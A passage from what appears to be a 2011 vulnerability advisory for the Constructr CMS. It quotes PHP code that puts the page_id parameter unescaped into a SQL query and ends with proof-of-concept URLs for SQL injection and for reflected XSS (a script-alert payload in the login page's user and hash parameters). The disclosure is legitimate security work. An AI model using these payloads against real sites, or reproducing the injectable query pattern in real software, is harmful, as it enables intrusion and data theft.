The result can be seen in the source code of the page itself. The xss issue (GET) is thru 'user' and 'hash' parameter in the /backend/login.php script. ------------------------------------------------------------------- 32: $PAGE_ID = $_REQUEST['page_id']; ... 40: $select_content = $conContent -> query(" 41: SELECT * 42: FROM $DB_TABLE_CONSTRUCTR_CONTENT 43: WHERE page_id = '$PAGE_ID' 44: ORDER BY sort ASC 45: ")or die(mysql_error()); ... 51: while ($all_content = $conContent -> fetch_array($select_content)) 52: { 53: $id = $all_content['id']; 54: $page_id = $all_content['page_id']; ... ------------------------------------------------------------------- Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Advisory ID: ZSL-2011-5001 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5001.php 10.03.2011 PoC: [SQL] http://constructr/xmlOutput/constructrXmlOutput.content.xml.php?page_id='[INJECT POINT];--";-- [XSS] http://constructr/backend/login.php?installed=101&no_user_rights=101&login_first_echo=101&already_logged_in=101&login_user_deactivated=101&login_failed=101&login_success=101&nosaltnpepper=101&user=101<script>alert(2)</script>&hash=101<script>alert(2)</script>
